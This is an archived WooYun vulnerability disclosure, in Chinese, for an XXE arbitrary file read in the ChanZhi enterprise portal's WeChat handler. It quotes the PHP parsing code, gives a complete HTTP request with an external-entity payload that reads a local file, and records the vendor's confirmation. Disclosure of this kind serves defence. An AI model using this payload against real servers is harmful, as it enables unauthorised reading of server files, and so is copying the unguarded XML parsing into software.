乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-11-03: 细节已通知厂商并且等待厂商处理中 2015-11-04: 厂商已经确认,细节仅向厂商公开 2015-11-07: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航) 2015-12-29: 细节向核心白帽子及相关领域专家公开 2016-01-08: 细节向普通白帽子公开 2016-01-18: 细节向实习白帽子公开 2015-12-17: 细节向公众公开
蝉知企业门户最新版任意文件读取(默认安装)
wechat/control.php:
public function response($public) { $this->setAPI($public); $this->api->checkSign(); $message = $this->api->getMessage(); $response = $this->wechat->getResponseForMessage($public, $message); if($response) $this->api->response($response); if(isset($message->event) and $message->event == 'subscribe') $this->wechat->createUser($public, $message); exit; }
getMessage:
public function getMessage() { $this->rawData = ''; $this->message = new stdclass(); if(isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $this->rawData = $GLOBALS["HTTP_RAW_POST_DATA"]; $message = new simpleXMLElement($this->rawData); foreach($message as $key => $value) { if( function_exists('lcfirst')) { $key = lcfirst($key); } else { $first = strtolower(substr($key, 0, 1)); $key = $first . substr($key, 1); } $value = $key == 'event' ? strtolower($value) : $value; $this->message->$key = (string)$value; } } return $this->message; }
这里没有进行实体转换getResponseForMessage:
public function getResponseForMessage($public, $message) { if(isset($message->event) && in_array($message->event, array('unsubscribe', 'location'))) { $this->saveMessage($public, $message); return false; } if($message->msgType == 'text') $response = $this->getResponseByKey($public, $message->content); if($message->msgType == 'event') $response = $this->getResponseByKey($public, isset($message->eventKey) ? $message->eventKey : ''); if(isset($message->event) && $message->event == 'subscribe') $response = $this->getResponseByKey($public, 'subscribe'); if(empty($response)) $response = $this->getResponseByKey($public, 'default'); if(!empty($response)) { $message->response = $response->id; if(isset($message->event) && $message->event == 'VIEW') { $message->response = $this->dao->select('id')->from(TABLE_WX_RESPONSE)->where('`key`')->like('m_%')->andWhere('concat(content, source)')->eq($message->eventKey)->fetch('id'); } if($response->type == 'text' or $response->type == 'link') { $reply = new stdclass(); $reply->msgType = 'text'; $reply->content = $response->content; } elseif($response->type == 'news') { $reply = $response->content; } } $this->saveMessage($public, $message); if(!isset($reply)) $reply = false; return $reply; }
系统默认安装,会有一张表叫:
好了 根据以上所有情况我们构造请求:
POST /chanzhieps/www/index.php?m=wechat&f=response&public=1&signature=54c7f6d5084f93e1a935afb285b4fc35cf0b9e89×tamp=xxxx&nonce=xxxx HTTP/1.1Host: **.**.**.**User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateCookie: CNZZDATA80862620=cnzz_eid%3D1165449138-1441185714-http%253A%252F%252F**.**.**.**%252F%26ntime%3D1441190707; lang=zh-cn; frontsid=606c50084c6191f7ec4a21cdba5405cdConnection: keep-aliveContent-Type: text/xmlContent-Length: 308<?xml version="1.0" encoding="utf-8"?><!DOCTYPE copyright [<!ENTITY test SYSTEM "file:///D:/wamp/www/chanzhieps/www/robots.txt">]><xml><ToUserName>&test;</ToUserName><FromUserName>1111</FromUserName><Content>m_9</Content><Event>m_9</Event><msgType>text</msgType></xml>
危害等级:中
漏洞Rank:10
确认时间:2015-11-04 11:32
谢谢反馈。
暂无